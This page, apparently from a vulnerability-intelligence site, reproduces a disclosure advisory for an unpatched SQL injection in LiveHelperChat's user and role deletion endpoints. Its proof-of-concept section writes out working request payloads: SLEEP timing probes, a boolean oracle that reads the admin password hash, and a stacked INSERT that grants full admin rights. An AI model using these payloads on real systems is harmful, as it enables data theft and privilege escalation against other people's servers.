llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · remdex/livehelperchat

GHSA-GW84-2363-VR95

SQL injection in user and role deletion via URL path segment

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
7.2
Alta
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición38 dDesde la divulgación, 12 oct 2026, 1:55 a. m.
Detección37 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada +1
12 oct 26
19 nov 26
12 oct 26
21 oct 26
31 oct 26
10 nov 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-GW84-2363-VR95 divulgada · CVSS 7.2 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

`ezcQueryExpression::eq()` at `ezcomponents/Database/src/sqlabstraction/expression.php:442` concatenates both operands into the SQL string and binds nothing. Two endpoints hand it the untyped URL path segment.

`modules/lhuser/delete.php` interpolates `$Params['user_parameters']['user_id']` into 12 raw DELETE statements, at lines 23 to 87. `modules/lhpermission/deleterole.php` does the same with `role_id` at lines 15 and 20.

The checks that precede the sinks read other values. The admin check at `delete.php:13` casts inside the comparison only. The ORM load at `delete.php:18` binds the value as `PDO::PARAM_STR`, and MySQL coerces the quoted string to a number, so `4 OR (SELECT SLEEP(1))=1` loads row 4 while the unmodified string continues to the sinks. In `deleterole.php:10` the guard reads `$role->id`, the value the ORM returned, while the raw request string reaches the DELETEs.

`ATTR_EMULATE_PREPARES` appears nowhere in the tree, so PDO-MySQL keeps the PHP default and a statement separator executes a second statement.

Result: an operator holding one granular deletion permission writes to the database and grants their own role every module and every function.

Details

`ezcQueryExpression::eq()` returns `"{$value1} = {$value2}"` after passing both operands through `getIdentifier()`, which returns a one-part string unchanged (`expression.php:442-446`, `:113-128`). `lib/core/lhcore/lhmodule.php:33` takes the path segment from `ezcUrl::getParam()` into `$Params['user_parameters']` with no cast and no validator. The 12 interpolations in `modules/lhuser/delete.php` sit at lines 23 to 87, the two in `modules/lhpermission/deleterole.php` at lines 15 and 20. The product applies the correct idiom to the same parameter array elsewhere: `modules/lhuser/groupassignuser.php:39` and `:65` cast with `(int)` before the identical `expr->eq()` call. `modules/lhinstall/install.php:74` requires `pdo_mysql` and `:153` writes a `mysql://` DSN, so MySQL is the only supported platform, and its silent string-to-number coercion is what carries the payload past the ORM load.

Reachable with no configuration change, once an administrator has granted the permission.

`lhuser/deleteuser` and `lhpermission/delete` are not part of the Operators role the installer creates (`install.php:2993-3061`, which carries 15 `lhuser` permissions and only `see_permissions` from `lhpermission`). Anonymous requests redirect to the login form.

`deleterole.php` requires in addition that no group is assigned to the target role (`canDeleteRole`, `lib/core/lhpermission/lhrole.php:21`), otherwise the whole block is skipped.

Proof of concept

LiveHelperChat 4.94v (`d8787d04`), Docker, MySQL 5.7.44, default configuration. Attacker is user `vfy_atk`, whose role holds exactly one `lh_rolefunction` row: `lhuser` / `deleteuser`.

  1. Dose-response through the path segment, one session, one CSRF token. `SLEEP` fires once per scanned row, so the absolute times follow the row count of the 12 target tables.
GET /index.php/site_admin/user/delete/4%20OR%20(SELECT%20SLEEP(0))=1/(csfr)/<token>     302  0.022 s
GET /index.php/site_admin/user/delete/5%20OR%20(SELECT%20SLEEP(0.25))=1/(csfr)/<token>  302  1.270 s
GET /index.php/site_admin/user/delete/6%20OR%20(SELECT%20SLEEP(0.5))=1/(csfr)/<token>   302  2.516 s
  1. Boolean oracle against a table the role reaches by no granted route.
7 OR (SELECT SLEEP(0.4) FROM lh_users WHERE id=1 AND password LIKE '$2y$%')=1  -> 2.020 s
8 OR (SELECT SLEEP(0.4) FROM lh_users WHERE id=1 AND password LIKE 'zzz%')=1   -> 0.013 s
  1. Stacked write. One request inserts the grant once per DELETE statement, 12 rows in total.
GET /index.php/site_admin/user/delete/10%3B%20INSERT%20INTO%20lh_rolefunction%20
    (role_id,type,module,function,limitation)%20VALUES%20(90,0,'*','*','')/(csfr)/<token>

HTTP/1.1 503 Service Unavailable
Site Maintenance

The write is committed before the request aborts. After one re-login, which the code requires because `delete.php` never clears the permission cache, the same account reaches `/permission/roles` (200), `/system/configuration` (200) and `/user/edit/1`, the edit form of the admin account. `deleterole/9; INSERT ...` reproduces this through the second endpoint and inserts 2 rows.

Controls
  1. Anonymous: `GET /user/delete/3/(csfr)/deadbeef` returns `302` to `/user/login`.
  2. Account without the permission: `200`, body `You do not have permission to access the module "user" and use "deleteuser" function`.
  3. Wrong CSRF token: `200`, body `Invalid CSFR Token`.
  4. Plain id `3` without a payload: `302` to the user list in 0.015 s, user deleted as intended.
  5. Non-existent id: `503` in 0.017 s with no delay, because the ORM load throws before the raw statements run.

Live-verified: an account holding one permission granted itself every module and every function, confirmed by the admin edit form rendering `name="Username" value="admin"`.

Impact
  • Arbitrary write through stacked statements, demonstrated as a self-grant of all modules and all functions, which yields full administrator access after one re-login.
  • Arbitrary read through the boolean oracle, including the bcrypt hash of the admin account and the SMTP credentials in `lh_chat_config`.
  • Each probe request consumes a deletable account or role, because the ORM load at `delete.php:18` precedes the sinks and `:19` deletes the loaded object.
  • The stacked write is noisy: HTTP 503, plus a `web_exception` row in `lh_audits` carrying the payload in cleartext.

Credit

Jan Kahmen, turingpoint https://www.turingpoint.de (jan@turingpoint.de)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:H
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida
remdex/livehelperchat≤ 4.94v
4.94v
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistremdex/livehelperchat
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/LiveHelperChat/livehelperchat/security/advisories/GHSA-gw84-2363-vr95

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.